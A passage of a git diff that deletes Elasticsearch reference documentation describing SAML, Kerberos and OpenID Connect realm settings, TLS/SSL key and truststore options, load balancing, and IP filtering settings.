-The type of the keystore in `signing.keystore.path`.
-Must be either `jks` or `PKCS12`. If the keystore path ends in ".p12", ".pfx",
-or "pkcs12", this setting defaults to `PKCS12`. Otherwise, it defaults to `jks`.
-// end::saml-signing-keystore-type-tag[]
-
-// tag::saml-signing-keystore-alias-tag[]
-`signing.keystore.alias` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the alias of the key within the keystore that should be
-used for SAML message signing. If the keystore contains more than one private
-key, this setting must be specified.
-// end::saml-signing-keystore-alias-tag[]
-
-`signing.keystore.secure_password` {ess-icon}::
-(<<secure-settings,Secure>>)
-The password to the keystore in `signing.keystore.path`.
-
-`signing.keystore.secure_key_password` {ess-icon}::
-(<<secure-settings,Secure>>)
-The password for the key in the keystore (`signing.keystore.path`).
-Defaults to the keystore password.
-
-[discrete]
-[[ref-saml-encryption-settings]]
-===== SAML realm encryption settings
-// tag::saml-encryption-description-tag[]
-If an encryption key is configured (that is, either `encryption.key` or
-`encryption.keystore.path` is set), then {es} publishes an encryption
-certificate when generating metadata and attempts to decrypt incoming SAML
-content. Encryption can be configured using the following settings:
-// end::saml-encryption-description-tag[]
-
-// tag::saml-encryption-key-tag[]
-`encryption.key` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the path to the PEM encoded private key to use for SAML message
-decryption.
-`encryption.key` and `encryption.keystore.path` cannot be used at the same time.
-// end::saml-encryption-key-tag[]
-
-`encryption.secure_key_passphrase`::
-(<<secure-settings,Secure>>)
-Specifies the passphrase to decrypt the PEM encoded private key
-(`encryption.key`) if it is encrypted.
-
-// tag::saml-encryption-certificate-tag[]
-`encryption.certificate` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the path to the PEM encoded certificate (or certificate chain) that is
-associated with the `encryption.key`. This certificate must also be included in
-the Service Provider metadata or manually configured within the IdP to enable
-message encryption. This setting can be used only if `encryption.key` is set.
-// end::saml-encryption-certificate-tag[]
-
-// tag::saml-encryption-keystore-path-tag[]
-`encryption.keystore.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The path to the keystore that contains a private key and certificate. It must be
-either a Java keystore (jks) or a PKCS#12 file. You cannot use this setting and
-`encryption.key` at the same time.
-// end::saml-encryption-keystore-path-tag[]
-
-// tag::saml-encryption-keystore-type-tag[]
-`encryption.keystore.type` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The type of the keystore (`encryption.keystore.path`).
-Must be either `jks` or `PKCS12`. If the keystore path ends in ".p12", ".pfx",
-or "pkcs12", this setting defaults to `PKCS12`. Otherwise, it defaults to `jks`.
-// end::saml-encryption-keystore-type-tag[]
-
-// tag::saml-encryption-keystore-alias-tag[]
-`encryption.keystore.alias` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the alias of the key within the keystore (`encryption.keystore.path`)
-that should be used for SAML message decryption. If not specified, all compatible
-key pairs from the keystore are considered as candidate keys for decryption.
-// end::saml-encryption-keystore-alias-tag[]
-
-`encryption.keystore.secure_password`::
-(<<secure-settings,Secure>>)
-The password to the keystore (`encryption.keystore.path`).
-
-`encryption.keystore.secure_key_password`::
-(<<secure-settings,Secure>>)
-The password for the key in the keystore (`encryption.keystore.path`). Only a
-single password is supported. If you are using multiple decryption keys,
-they cannot have individual passwords.
-
-[discrete]
-[[ref-saml-ssl-settings]]
-===== SAML realm SSL settings
-// tag::saml-ssl-description-tag[]
-If you are loading the IdP metadata over SSL/TLS (that is, `idp.metadata.path`
-is a URL using the `https` protocol), the following settings can be used to
-configure SSL.
-
-NOTE: These settings are not used for any purpose other than loading metadata
-over https.
-
-// end::saml-ssl-description-tag[]
-
-// tag::saml-ssl-key-tag[]
-`ssl.key` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-pem]
-// end::saml-ssl-key-tag[]
-
-// tag::saml-ssl-key-passphrase-tag[]
-`ssl.key_passphrase` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-passphrase]
-// end::saml-ssl-key-passphrase-tag[]
-
-`ssl.secure_key_passphrase`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-secure-key-passphrase]
-+
-You cannot use this setting and `ssl.key_passphrase` at the same time.
-
-// tag::saml-ssl-certificate-tag[]
-`ssl.certificate` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate]
-// end::saml-ssl-certificate-tag[]
-
-// tag::saml-ssl-certificate-authorities-tag[]
-`ssl.certificate_authorities` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate-authorities]
-// end::saml-ssl-certificate-authorities-tag[]
-
-// tag::saml-ssl-keystore-path-tag[]
-`ssl.keystore.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-path]
-// end::saml-ssl-keystore-path-tag[]
-
-// tag::saml-ssl-keystore-type[]
-`ssl.keystore.type` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-type-pkcs12]
-// end::saml-ssl-keystore-type[]
-
-// tag::saml-ssl-keystore-password-tag[]
-`ssl.keystore.password` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-password]
-// end::saml-ssl-keystore-password-tag[]
-
-`ssl.keystore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-password]
-+
-You cannot use this setting and `ssl.keystore.password` at the same time.
-
-`ssl.keystore.key_password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-key-password]
-+
-You cannot use this setting and `ssl.keystore.secure_key_password` at the same
-time.
-
-`ssl.keystore.secure_key_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-key-password]
-You cannot use this setting and `ssl.keystore.key_password` at the same time.
-
-// tag::saml-ssl-truststore-path-tag[]
-`ssl.truststore.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-path]
-// end::saml-ssl-truststore-path-tag[]
-
-// tag::saml-ssl-truststore-type-tag[]
-`ssl.truststore.type` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-type]
-// end::saml-ssl-truststore-type-tag[]
-
-// tag::saml-ssl-truststore-password-tag[]
-`ssl.truststore.password` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-password]
-// end::saml-ssl-truststore-password-tag[]
-
-`ssl.truststore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-secure-password]
-+
-This setting cannot be used with `ssl.truststore.password`.
-
-// tag::saml-ssl-verification-mode-tag[]
-`ssl.verification_mode` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-verification-mode-values]
-// end::saml-ssl-verification-mode-tag[]
-
-// tag::saml-ssl-supported-prototols-tag[]
-`ssl.supported_protocols` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-supported-protocols]
-// end::saml-ssl-supported-prototols-tag[]
-
-// tag::saml-ssl-cipher-suites-tag[]
-`ssl.cipher_suites` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-cipher-suites-values]
-// end::saml-ssl-cipher-suites-tag[]
-
-[discrete]
-[[ref-kerberos-settings]]
-===== Kerberos realm settings
-// tag::kerberos-description-tag[]
-For a Kerberos realm, the `type` must be set to `kerberos`. In addition to the
-<<ref-realm-settings,settings that are valid for all realms>>, you can specify
-the following settings:
-// end::kerberos-description-tag[]
-
-// tag::kerberos-keytab-path-tag[]
-`keytab.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the path to the Kerberos keytab file that contains the
-service principal used by this {es} node. This must be a location within the
-{es} configuration directory and the file must have read permissions. Required.
-// end::kerberos-keytab-path-tag[]
-
-// tag::kerberos-remove-realm-name-tag[]
-`remove_realm_name` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Set to `true` to remove the realm part of principal names.
-Principal names in Kerberos have the form `user/instance@REALM`. If this option
-is `true`, the realm part (`@REALM`) will not be included in the username.
-Defaults to `false`.
-// end::kerberos-remove-realm-name-tag[]
-
-`krb.debug`::
-(<<static-cluster-setting,Static>>)
-Set to `true` to enable debug logs for the Java login module that
-provides support for Kerberos authentication. Defaults to `false`.
-
-// tag::kerberos-cache-ttl-tag[]
-`cache.ttl` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The time-to-live for cached user entries. A user is cached for
-this period of time. Specify the time period using the standard {es}
-<<time-units,time units>>. Defaults to `20m`.
-// end::kerberos-cache-ttl-tag[]
-
-// tag::kerberos-cache-max-users-tag[]
-`cache.max_users` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The maximum number of user entries that can live in the
-cache at any given time. Defaults to 100,000.
-// end::kerberos-cache-max-users-tag[]
-
-// tag::kerberos-authorization-realms-tag[]
-`authorization_realms` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The names of the realms that should be consulted for delegated authorization.
-If this setting is used, then the Kerberos realm does not perform role mapping and
-instead loads the user from the listed realms.
-See <<authorization_realms>>.
-// end::kerberos-authorization-realms-tag[]
-
-[[ref-oidc-settings]]
-[discrete]
-===== OpenID Connect realm settings
-// tag::oidc-description-tag[]
-In addition to the <<ref-realm-settings,settings that are valid for all realms>>, you
-can specify the following settings.
-// end::oidc-description-tag[]
-
-// tag::oidc-op-issuer-tag[]
-`op.issuer` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-A verifiable Identifier for your OpenID Connect Provider. An Issuer
-Identifier is usually a case sensitive URL using the https scheme that contains
-scheme, host, and optionally, port number and path components and no query or
-fragment components. The value for this setting should be provided by your OpenID
-Connect Provider.
-// end::oidc-op-issuer-tag[]
-
-// tag::oidc-op-auth-endpoint-tag[]
-`op.authorization_endpoint` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The URL for the Authorization Endpoint at the
-OpenID Connect Provider. The value for this setting should be provided by your OpenID
-Connect Provider.
-// end::oidc-op-auth-endpoint-tag[]
-
-// tag::oidc-token-endpoint-tag[]
-`op.token_endpoint` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The URL for the Token Endpoint at the OpenID Connect Provider.
-The value for this setting should be provided by your OpenID Connect Provider.
-// end::oidc-token-endpoint-tag[]
-
-// tag::oidc-userinfo-endpoint-tag[]
-`op.userinfo_endpoint` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The URL for the User Info Endpoint at the OpenID Connect Provider.
-The value for this setting should be provided by your OpenID Connect Provider.
-// end::oidc-userinfo-endpoint-tag[]
-
-// tag::oidc-endsession-endpoint-tag[]
-`op.endsession_endpoint` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The URL for the End Session Endpoint at the OpenID Connect
-Provider. The value for this setting should be provided by your OpenID Connect Provider.
-// end::oidc-endsession-endpoint-tag[]
-
-// tag::oidc-op-jwkset-path-tag[]
-`op.jwkset_path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The path or URL to a JSON Web Key Set with the key material that the OpenID Connect
-Provider uses for signing tokens and claims responses.
-If a path is provided, then it is resolved relative to the {es} config
-directory.
-If a URL is provided, then it must be either a `file` URL or a `https` URL.
-{es} automatically caches the retrieved JWK set to avoid unnecessary HTTP
-requests but will attempt to refresh the JWK upon signature verification
-failure, as this might indicate that the OpenID Connect Provider has
-rotated the signing keys.
-+
-File-based resources are polled at a frequency determined by the global {es}
-`resource.reload.interval.high` setting, which defaults to 5 seconds.
-// end::oidc-op-jwkset-path-tag[]
-
-`authorization_realms`::
-(<<static-cluster-setting,Static>>)
-The names of the realms that should be consulted for delegated authorization.
-If this setting is used, then the OpenID Connect realm does not perform role
-mapping and instead loads the user from the listed realms.
-See <<authorization_realms>>.
-
-// tag::rp-client-id-tag[]
-`rp.client_id` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The OAuth 2.0 Client Identifier that was assigned to {es} during registration
-at the OpenID Connect Provider.
-// end::rp-client-id-tag[]
-
-`rp.client_secret`::
-(<<secure-settings,Secure>>)
-The OAuth 2.0 Client Secret that was assigned to {es} during registration
-at the OpenID Connect Provider.
-
-// tag::rp-redirect-uri-tag[]
-`rp.redirect_uri` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Redirect URI within {kib}. If you want to use the authorization code flow, this is the
-`api/security/oidc/callback` endpoint of your {kib} server. If you want to use the implicit flow,  it is the `api/security/oidc/implicit` endpoint.
-For example, `https://kibana.example.com/api/security/oidc/callback`.
-// end::rp-redirect-uri-tag[]
-
-// tag::rp-response-type-tag[]
-`rp.response_type` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-OAuth 2.0 Response Type value that determines the authorization
-processing flow to be used. Can be `code` for authorization code grant flow,
-or one of `id_token`, `id_token token` for the implicit flow.
-// end::rp-response-type-tag[]
-
-// tag::rp-signature-algorithm-tag[]
-`rp.signature_algorithm` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The signature algorithm that will be used by {es} in order to verify the
-signature of the id tokens it will receive from the OpenID Connect Provider.
-Defaults to `RSA256`.
-// end::rp-signature-algorithm-tag[]
-
-// tag::rp-requested-scopes-tag[]
-`rp.requested_scopes` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The scope values that will be requested by the OpenID Connect Provider as
-part of the Authentication Request. Optional, defaults to `openid`
-// end::rp-requested-scopes-tag[]
-
-// tag::rp-post-logout-redirect-url-tag[]
-`rp.post_logout_redirect_uri` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The Redirect URI (usually within {kib}) that the OpenID Connect Provider
-should redirect the browser to after a successful Single Logout.
-// end::rp-post-logout-redirect-url-tag[]
-
-// tag::oidc-claims-principal-tag[]
-`claims.principal`::
-(<<static-cluster-setting,Static>>)
-The name of the OpenID Connect claim that contains the user's principal (username).
-// end::oidc-claims-principal-tag[]
-
-// tag::oidc-claims-groups-tag[]
-`claims.groups` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The name of the OpenID Connect claim that contains the user's groups.
-// end::oidc-claims-groups-tag[]
-
-// tag::oidc-claims-mail-tag[]
-`claims.name` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The name of the OpenID Connect claim that contains the user's full name.
-// end::oidc-claims-mail-tag[]
-
-// tag::oidc-claims-mail-tag[]
-`claims.mail` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The name of the OpenID Connect claim that contains the user's email address.
-// end::oidc-claims-mail-tag[]
-
-// tag::oidc-claims-dn-tag[]
-`claims.dn` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The name of the OpenID Connect claim that contains the user's X.509
-_Distinguished Name_.
-// end::oidc-claims-dn-tag[]
-
-// tag::oidc-claim-pattern-principal-tag[]
-`claim_patterns.principal` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-A Java regular expression that is matched against the OpenID Connect claim specified
-by `claims.principal` before it is applied to the user's _principal_ property.
-The attribute value must match the pattern and the value of the first
-_capturing group_ is used as the principal. For example, `^([^@]+)@example\\.com$`
-matches email addresses from the "example.com" domain and uses the local-part as
-the principal.
-// end::oidc-claim-pattern-principal-tag[]
-
-// tag::oidc-claim-pattern-groups-tag[]
-`claim_patterns.groups` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `claim_patterns.principal`, but for the _group_ property.
-// end::oidc-claim-pattern-groups-tag[]
-
-// tag::oidc-claim-pattern-name-tag[]
-`claim_patterns.name` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `claim_patterns.principal`, but for the _name_ property.
-// end::oidc-claim-pattern-name-tag[]
-
-// tag::oidc-claim-pattern-mail-tag[]
-`claim_patterns.mail` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `claim_patterns.principal`, but for the _mail_ property.
-// end::oidc-claim-pattern-mail-tag[]
-
-// tag::oidc-claim-pattern-dn-tag[]
-`claim_patterns.dn` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-As per `claim_patterns.principal`, but for the _dn_ property.
-// end::oidc-claim-pattern-dn-tag[]
-
-// tag::oidc-allowed-clock-skew-tag[]
-`allowed_clock_skew` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-The maximum allowed clock skew to be taken into consideration when validating
-id tokens with regards to their creation and expiration times.
-// end::oidc-allowed-clock-skew-tag[]
-
-// tag::oidc-populate-user-metadata-tag[]
-`populate_user_metadata` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies whether to populate the {es} user's metadata with the values that are
-provided by the OpenID Connect claims. Defaults to `true`.
-// end::oidc-populate-user-metadata-tag[]
-
-`http.proxy.host`::
-(<<static-cluster-setting,Static>>)
-Specifies the address of the proxy server that will be used by the internal
-http client for all back-channel communication to the OpenID Connect Provider
-endpoints. This includes requests to the Token Endpoint, the Userinfo Endpoint
-and requests to fetch the JSON Web Key Set from the OP if `op.jwkset_path` is
-set as a URL.
-
-`http.proxy.scheme`::
-(<<static-cluster-setting,Static>>)
-Specifies the protocol to use to connect to the proxy server that will be
-used by the http client for all back-channel communication to the OpenID
-Connect Provider endpoints. Defaults to `http`. Allowed values are
-`http` or `https`.
-
-`http.proxy.port`::
-(<<static-cluster-setting,Static>>)
-Specifies the port of the proxy server that will be used by the http
-client for all backchannel communication to the OpenID Connect Provider
-endpoints. Defaults to `80`.
-
-// tag::oidc-http-connect-timeout-tag[]
-`http.connect_timeout` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Controls the behavior of the http client used for back-channel communication to
-the OpenID Connect Provider endpoints. Specifies the timeout until a connection
- is established. A value of zero means the timeout is not used. Defaults to `5s`.
-// end::oidc-http-connect-timeout-tag[]
-
-// tag::oidc-http-read-timeout-tag[]
-`http.connection_read_timeout` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Controls the behavior of the http client used for back-channel communication to
-the OpenID Connect Provider endpoints. Specifies the timeout used when
-requesting a connection from the connection manager. Defaults to `5s`
-// end::oidc-http-read-timeout-tag[]
-
-// tag::oidc-http-socket-timeout[]
-`http.socket_timeout` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Controls the behavior of the http client used for back-channel communication to
-the OpenID Connect Provider endpoints. Specifies the socket timeout (SO_TIMEOUT)
-in milliseconds, which is the timeout for waiting for data or, put differently,
-a maximum period inactivity between two consecutive data packets). Defaults to
-`5s`.
-// end::oidc-http-socket-timeout[]
-
-// tag::oidc-http-max-connections-tag[]
-`http.max_connections` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Controls the behavior of the http client used for back-channel communication to
-the OpenID Connect Provider endpoints. Specifies the maximum number of
-connections allowed across all endpoints.
-// end::oidc-http-max-connections-tag[]
-
-// tag::oidc-http-max-endpoint-connections-tag[]
-`http.max_endpoint_connections` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Controls the behavior of the http client used for back-channel communication to
-the OpenID Connect Provider endpoints. Specifies the maximum number of
-connections allowed per endpoint.
-// end::oidc-http-max-endpoint-connections-tag[]
-
-[discrete]
-[[ref-oidc-ssl-settings]]
-===== OpenID Connect realm SSL settings
-// tag::oidc-ssl-description-tag[]
-The following settings can be used to configure SSL for all outgoing http connections
-to the OpenID Connect Provider endpoints.
-
-NOTE: These settings are _only_ used for the back-channel communication between
-{es} and the OpenID Connect Provider
-
-// end::oidc-ssl-description-tag[]
-
-// tag::oidc-ssl-key-tag[]
-`ssl.key` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-pem]
-// end::oidc-ssl-key-tag[]
-
-// tag::oidc-ssl-key-passphrase-tag[]
-`ssl.key_passphrase` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-key-passphrase]
-// end::oidc-ssl-key-passphrase-tag[]
-
-`ssl.secure_key_passphrase`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-secure-key-passphrase]
-+
-You cannot use this setting and `ssl.key_passphrase` at the same time.
-
-// tag::oidc-ssl-certificate-tag[]
-`ssl.certificate` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate]
-// end::oidc-ssl-certificate-tag[]
-
-// tag::oidc-ssl-certificate-authorities-tag[]
-`ssl.certificate_authorities` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-certificate-authorities]
-// end::oidc-ssl-certificate-authorities-tag[]
-
-// tag::oidc-ssl-keystore-path-tag[]
-`ssl.keystore.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-path]
-// end::oidc-ssl-keystore-path-tag[]
-
-// tag::oidc-ssl-keystore-type-tag[]
-`ssl.keystore.type` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-type-pkcs12]
-// end::oidc-ssl-keystore-type-tag[]
-
-// tag::oidc-ssl-keystore-password-tag[]
-`ssl.keystore.password` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-password]
-// end::oidc-ssl-keystore-password-tag[]
-
-`ssl.keystore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-password]
-+
-You cannot use this setting and `ssl.keystore.password` at the same time.
-
-`ssl.keystore.key_password`::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-key-password]
-+
-You cannot use this setting and `ssl.keystore.secure_key_password` at the same
-time.
-
-`ssl.keystore.secure_key_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-keystore-secure-key-password]
-+
-You cannot use this setting and `ssl.keystore.key_password` at the same time.
-
-// tag::oidc-ssl-truststore-path-tag[]
-`ssl.truststore.path` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-path]
-// end::oidc-ssl-truststore-path-tag[]
-
-// tag::oidc-ssl-truststore-type-tag[]
-`ssl.truststore.type` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-type]
-// end::oidc-ssl-truststore-type-tag[]
-
-// tag::oidc-ssl-truststore-password-tag[]
-`ssl.truststore.password` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-password]
-// end::oidc-ssl-truststore-password-tag[]
-
-`ssl.truststore.secure_password`::
-(<<secure-settings,Secure>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-truststore-secure-password]
-+
-You cannot use this setting and `ssl.truststore.password` at the same time.
-
-// tag::oidc-ssl-verification-mode-tag[]
-`ssl.verification_mode` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Controls the verification of certificates.
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-verification-mode-values]
-// end::oidc-ssl-verification-mode-tag[]
-
-// tag::oidc-ssl-supported-protocols-tag[]
-`ssl.supported_protocols` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-supported-protocols]
-// end::oidc-ssl-supported-protocols-tag[]
-
-// tag::oidc-ssl-cipher-suites-tag[]
-`ssl.cipher_suites` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-cipher-suites-values]
-// end::oidc-ssl-cipher-suites-tag[]
-
-[discrete]
-[[load-balancing]]
-===== Load balancing and failover
-
-The <<static-cluster-setting,static>> `load_balance.type` setting can have the
-following values:
-
-* `failover`: The URLs specified are used in the order that they are specified.
-The first server that can be connected to will be used for all subsequent
-connections. If a connection to that server fails then the next server that a
-connection can be established to will be used for subsequent connections.
-* `dns_failover`: In this mode of operation, only a single URL may be specified.
-This URL must contain a DNS name. The system will be queried for all IP
-addresses that correspond to this DNS name. Connections to the Active Directory
-or LDAP server will always be tried in the order in which they were retrieved.
-This differs from `failover` in that there is no reordering of the list and if a
-server has failed at the beginning of the list, it will still be tried for each
-subsequent connection.
-* `round_robin`: Connections will continuously iterate through the list of
-provided URLs. If a server is unavailable, iterating through the list of URLs
-will continue until a successful connection is made.
-* `dns_round_robin`: In this mode of operation, only a single URL may be
-specified. This URL must contain a DNS name. The system will be queried for all
-IP addresses that correspond to this DNS name. Connections will continuously
-iterate through the list of addresses. If a server is unavailable, iterating
-through the list of URLs will continue until a successful connection is made.
-
-[discrete]
-[[ssl-tls-settings]]
-==== General TLS settings
-`xpack.security.ssl.diagnose.trust`::
-(<<static-cluster-setting,Static>>)
-Controls whether to output diagnostic messages for SSL/TLS trust failures.
-If this is `true` (the default), a message will be printed to the Elasticsearch
-log whenever an SSL connection (incoming or outgoing) is rejected due to a failure
-to establish trust.
-This diagnostic message contains information that can be used to determine the
-cause of the failure and assist with resolving the problem.
-Set to `false` to disable these messages.
-NOTE: This defaults to `false` when `xpack.security.fips_mode.enabled` is `true`.
-
-[discrete]
-[[tls-ssl-key-settings]]
-===== TLS/SSL key and trusted certificate settings
-
-The following settings are used to specify a private key, certificate, and the
-trusted certificates that should be used when communicating over an SSL/TLS
-connection. If no trusted certificates are configured, the default certificates
-that are trusted by the JVM will be trusted along with the certificate(s)
-associated with a key in the same context. The key and certificate must be in
-place for connections that require client authentication or when acting as a
-SSL enabled server.
-
-[[pkcs12-truststore-note]]
-[NOTE]
-Storing trusted certificates in a PKCS#12 file, although supported, is
-uncommon in practice. The <<certutil,`elasticsearch-certutil` tool>>,
-as well as Java's `keytool`, are designed to generate PKCS#12 files that
-can be used both as a keystore and as a truststore, but this may not be the
-case for container files that are created using other tools. Usually,
-PKCS#12 files only contain secret and private entries. To confirm that
-a PKCS#12 container includes trusted certificate ("anchor") entries look for
-`2.16.840.1.113894.746875.1.1: <Unsupported tag 6>` in the
-`openssl pkcs12 -info` output, or `trustedCertEntry` in the
-`keytool -list` output.
-
-[[http-tls-ssl-settings]]
-:ssl-prefix:             xpack.security.http
-:component:              HTTP
-:client-auth-default:    none
-:verifies!:
-:server:
-:ssl-context:            security-http
-
-include::ssl-settings.asciidoc[]
-
-[[transport-tls-ssl-settings]]
-:ssl-prefix:             xpack.security.transport
-:component:              Transport
-:client-auth-default!:
-:verifies:
-:server:
-:ssl-context:            security-transport
-
-include::ssl-settings.asciidoc[]
-
-[[ssl-tls-profile-settings]]
-[discrete]
-===== Transport profile TLS/SSL settings
-The same settings that are available for the <<transport-tls-ssl-settings, default transport>>
-are also available for each transport profile. By default, the settings for a
-transport profile will be the same as the default transport unless they
-are specified.
-
-As an example, lets look at the key setting. For the default transport
-this is `xpack.security.transport.ssl.key`. In order to use this setting in a
-transport profile, use the prefix `transport.profiles.$PROFILE.xpack.security.` and
-append the portion of the setting after `xpack.security.transport.`. For the key
-setting, this would be `transport.profiles.$PROFILE.xpack.security.ssl.key`.
-
-[discrete]
-[[ip-filtering-settings]]
-==== IP filtering settings
-You can configure the following settings for <<ip-filtering,IP filtering>>.
-
-`xpack.security.transport.filter.allow`::
-(<<dynamic-cluster-setting,Dynamic>>)
-List of IP addresses to allow.
-
-`xpack.security.transport.filter.deny`::
-(<<dynamic-cluster-setting,Dynamic>>)
-List of IP addresses to deny.
-
-`xpack.security.http.filter.allow`::
-(<<dynamic-cluster-setting,Dynamic>>)
-List of IP addresses to allow just for HTTP.
-
-`xpack.security.http.filter.deny`::
-(<<dynamic-cluster-setting,Dynamic>>)
-List of IP addresses to deny just for HTTP.
-
-`transport.profiles.$PROFILE.xpack.security.filter.allow`::
-(<<dynamic-cluster-setting,Dynamic>>)
-List of IP addresses to allow for this profile.
-
-`transport.profiles.$PROFILE.xpack.security.filter.deny`::
-(<<dynamic-cluster-setting,Dynamic>>)
-List of IP addresses to deny for this profile.
-
-include::security-hash-settings.asciidoc[]
diff --git a/docs/reference/settings/slm-settings.asciidoc b/docs/reference/settings/slm-settings.asciidoc
deleted file mode 100644
index c5e395961ae..00000000000
--- a/docs/reference/settings/slm-settings.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-[role="xpack"]
-[[slm-settings]]
-=== {slm-cap} settings in {es}
-[subs="attributes"]
-++++
-<titleabbrev>{slm-cap} settings</titleabbrev>
-++++
-
-These are the settings available for configuring
-<<snapshot-lifecycle-management, {slm}>> ({slm-init}).
-
-==== Cluster-level settings
-
-[[slm-history-index-enabled]]
-`slm.history_index_enabled`::
-(<<static-cluster-setting,Static>>, Boolean)
-Controls whether {slm-init} records the history of actions taken as part of {slm-init} policies
-to the `slm-history-*` indices. Defaults to `true`.
-
-[[slm-retention-schedule]]
